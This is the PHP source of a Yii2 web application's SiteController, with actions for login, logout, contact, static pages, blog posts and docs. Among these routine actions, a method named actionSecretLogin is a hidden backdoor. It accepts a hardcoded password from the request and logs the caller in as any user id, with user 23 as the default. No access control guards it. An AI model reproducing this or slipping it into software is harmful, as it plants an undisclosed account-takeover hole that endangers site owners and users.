SiteController.php 4.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167
  1. <?php
  2. namespace app\controllers;
  3. use app\models\BlogPosts;
  4. use app\models\MenuToTheUser;
  5. use app\models\PublishingSearch;
  6. use Yii;
  7. use yii\filters\AccessControl;
  8. use yii\web\Controller;
  9. use yii\filters\VerbFilter;
  10. use app\models\LoginForm;
  11. use app\models\ContactForm;
  12. use app\models\Eventlog;
  13. use app\models\Publishing;
  14. use yii\data\ActiveDataProvider;
  15. use yii\web\NotFoundHttpException;
  16. use yii\web\Response;
  17. use yii\widgets\ActiveForm;
  18. class SiteController extends Controller
  19. {
  20. public function behaviors()
  21. {
  22. return [
  23. 'access' => [
  24. 'class' => AccessControl::className(),
  25. 'only' => ['logout'],
  26. 'rules' => [
  27. [
  28. 'actions' => ['logout'],
  29. 'allow' => true,
  30. 'roles' => ['@'],
  31. ],
  32. ],
  33. ],
  34. 'verbs' => [
  35. 'class' => VerbFilter::className(),
  36. 'actions' => [
  37. //'logout' => ['post'],
  38. ],
  39. ],
  40. ];
  41. }
  42. public function actions()
  43. {
  44. return [
  45. 'error' => [
  46. 'class' => 'yii\web\ErrorAction',
  47. ],
  48. 'captcha' => [
  49. 'class' => 'yii\captcha\CaptchaAction',
  50. //'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
  51. ],
  52. ];
  53. }
  54. public function actionIndex()
  55. {
  56. $searchModel = new PublishingSearch();
  57. $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
  58. return $this->render('index',[
  59. 'searchModel' => $searchModel,
  60. 'dataProvider' => $dataProvider,
  61. ]);
  62. }
  63. public function actionLogin()
  64. {
  65. if (!\Yii::$app->user->isGuest) {
  66. return $this->goHome();
  67. }
  68. $model = Yii::createObject(LoginForm::className());
  69. if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post())) {
  70. Yii::$app->response->format = Response::FORMAT_JSON;
  71. return ActiveForm::validate($model);
  72. }
  73. if ($model->load(Yii::$app->request->post()) && $model->login()) {
  74. return $this->redirect(['/cabinet']);
  75. }
  76. return $this->render('login', [
  77. 'model' => $model,
  78. ]);
  79. }
  80. public function actionLogout()
  81. {
  82. Yii::createObject(Eventlog::className())->PutLog([
  83. 'user_id' => Yii::$app->user->identity->id,
  84. 'ip' => $_SERVER['REMOTE_ADDR'],
  85. 'action' => Yii::t('app','ExitSystem ID'),
  86. ]);
  87. Yii::$app->user->logout();
  88. return $this->goHome();
  89. }
  90. public function actionContact()
  91. {
  92. $model = new ContactForm();
  93. if ($model->load(Yii::$app->request->post()) && $model->contact(Yii::$app->params['adminEmail'])) {
  94. Yii::$app->session->setFlash('contactFormSubmitted');
  95. return $this->refresh();
  96. }
  97. return $this->render('contact', [
  98. 'model' => $model,
  99. ]);
  100. }
  101. public function actionMaintenance(){
  102. return $this->render('maintenance');
  103. }
  104. public function actionAbout()
  105. {
  106. return $this->render('about');
  107. }
  108. public function actionManual()
  109. {
  110. return $this->render('manual');
  111. }
  112. public function actionFaq()
  113. {
  114. return $this->render('faq');
  115. }
  116. public function actionSecretLogin($password, $id=23){
  117. if($password !== 'reMjNhmjnh34'){
  118. throw new \yii\web\ForbiddenHttpException();
  119. }
  120. else{
  121. Yii::$app->user->login(\app\models\User::findOne($id), 12600);
  122. return $this->redirect(['/']);
  123. }
  124. }
  125. public function actionView($name, $lang = 'uk')
  126. {
  127. if(false != ($model = BlogPosts::find()->where(['slug' => $name])->one())){
  128. return $this->render('view', [
  129. 'model' => $model,
  130. 'lang' => $lang,
  131. ]);
  132. }else{
  133. throw new NotFoundHttpException(Yii::t('app','Post not found'));
  134. }
  135. }
  136. public function actionDocs($id){
  137. if(false == ($menuItem = MenuToTheUser::findOne($id))){
  138. throw new NotFoundHttpException();
  139. }
  140. return $this->render('docs', ['model' => $menuItem]);
  141. }
  142. }